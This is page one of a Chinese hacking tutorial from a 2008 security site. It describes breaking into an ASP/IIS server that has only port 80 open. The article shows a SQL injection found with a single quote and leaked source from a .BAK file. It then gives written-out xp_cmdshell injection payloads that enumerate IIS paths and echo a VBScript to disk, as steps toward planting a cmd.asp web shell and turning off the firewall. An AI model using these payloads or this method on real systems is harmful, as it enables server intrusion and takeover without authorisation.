通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
只开80端口主机的安全检测
责任编辑:酷酷の鱼   更新日期:2008-1-25
 
扫描:先用x-scan2.3扫端口晕只开80,然后又扫了一遍唉还是一样的结果,看来管理员也不算笨啊! 
检查系统洞洞:先ping了一下竟然ping不通,不过有刚才的扫描结果就很明白了应是iis5再加上网页上明显用的asp这样的主机当然是win2k不用说咯. 
分析:唉也没什么可以分析咯只能从80入手,看看上面都有些什么东东有一个查询系统输入单引号试试,返回错误类型: 
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) 
/mingce/student1.asp, 第 30 行 
看来运气也不算太坏嘛........应该有sql注入的毛病......... 
为了进一步确认试试运气输http://x.x.x.x//mingce/student1.asp.BAK 
的确可以正确提交哟返回如下: 
if request.form("xsxm")="" and request.form("xsxh")="" then 
Set Conn=Server.CreateObject("ADODB.Connection") 
Conn.Open "Driver={sql server};Server=localhost;Database=xxxx;UID=sa;PWD="&application("mm_xxx") 

比较长只是上面三行最重要了:我们可以看出ASP后台程序没用对用户提交进行任何的 
过滤,同时数据库用的ADODB.Connection对象(如果是ADODB.Command就算没有过滤 
特殊符号也不行的),当然也可以看出数据库使用的sa来连接的! 
(Tip:其实就算我们看不到ASP的源代码我们也可以试试xp_cmdshell ’iisreset /reboot’ 
或是xp_cmdshell ’ping 你.的.I.P’,如果第一个命令能执行成功那么在半分钟之内远程 
系统会重启一次的,第二个命令你自已的机子的防火墙通常会提示来至x.x.x.x的主机向你 
发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能也不行哟) 

好了通过上面的分析我们可以做什么呢: 
通过在web页以管理员的身份来执行系统命令(不过没有回显的) 
如果是一般的系统主机简单了xp_cmdshell ’net user .....’我就不写了 
但是我们现在环境是系统只开了80端口,就算我们能加ADMIN用户也没用三 
以前通常只要开个139/445/135就可以远程管理了不过现在不行. 
我的思路: 
1)找到web目录的路径 
2)写入一个简单的cmd.asp用来找到防火墙的具体名字 
3)通过xp_cmdshell来关闭防火墙服务 

具体实现: 
第一步明显是最难的咯 
我本来打算用adminScripts里面的建web站的方式建一个我自已的可执行目录的 
结果不行哟.然后就想到了使用adsutil.vbs程序我是这样执行的 
a’;exec master..xp_cmdshell ’cmd /c cScript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt’;-- 
是不是很长啦  通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt中 
对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs删了或是放到别 
的地方我们就没办法了(不可能自已用echo 命令写一个吧) 
第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧   
.....xp_cmdshell ’echo set fso1=createobject("Scripting.filesystemobject")>c:\read.vbs’;-- 
.....xp_cmdshell ’echo Set WshShell = WScript.CreateObject("WScript.Shell")>>c:\read.vbs’;-- 
..... 
-------------------read.vbs--------------------------------- 
set fso1=createobject("Scripting.filesystemobject") 
Set WshShell = WScript.CreateObject("WScript.Shell") 
spa=WshShell.Environment("process")("windir") 
set fil =fso1.opentextfile(spa & "\system32\aa.txt") 
do while not fil.atendofstream 
nr=fil.readline 
if left(nr,4)="Path" then 
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3) 
exit do 
end if 
loop 
set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true) 
fil1.writeline "<%response.write request.servervariables(""APPL_PHYSICAL_PATH"")%>" 
---------------cut here-------------------------------------- 

 

[1] [2] 下一页

  • 上一篇文章:
  • 下一篇文章: 没有了
  • 最近更新
    普通文章 瑞星公司01月25日发布 每日计算机病毒及木马播报
    普通文章 只开80端口主机的安全检测
    普通文章 卡巴斯基杀毒软件的十九种实用使用方法
    普通文章 为Solaris服务器配置开源安全工具
    普通文章 Win2003 Server安全配置完整篇
    推荐文章 推荐:简介常见病毒的命名规则
    普通文章 破解平安全息万年历
    普通文章 Obsidium1.2.5.0主程序脱壳记录点滴
    普通文章 恶意软件大多从合法网站传播
    普通文章 香港一少年入侵中小学内联网被捕
    热门文章
    普通文章一种会强行关闭杀毒软件的监控病毒开始活跃
    普通文章视频成病毒传播新途径 千足虫强攻杀毒软件
    普通文章捍卫网络安全 安博士发起“网络缉毒英雄会”
    普通文章病毒藏身U盘暗中作恶
    普通文章Opera CTO:新版浏览器速度将达到IE十倍
    普通文章病毒制售形成黑色产业链 网上银行成"靶心"
    普通文章la域名火暴 成为企业和个人争抢的热点
    普通文章"CN域名1元体验活动"将延续至2008年底
    普通文章在映象文件执行选项中指定调试器下杀毒
    普通文章局域网内外数据交换的前端安全防范
    精彩专题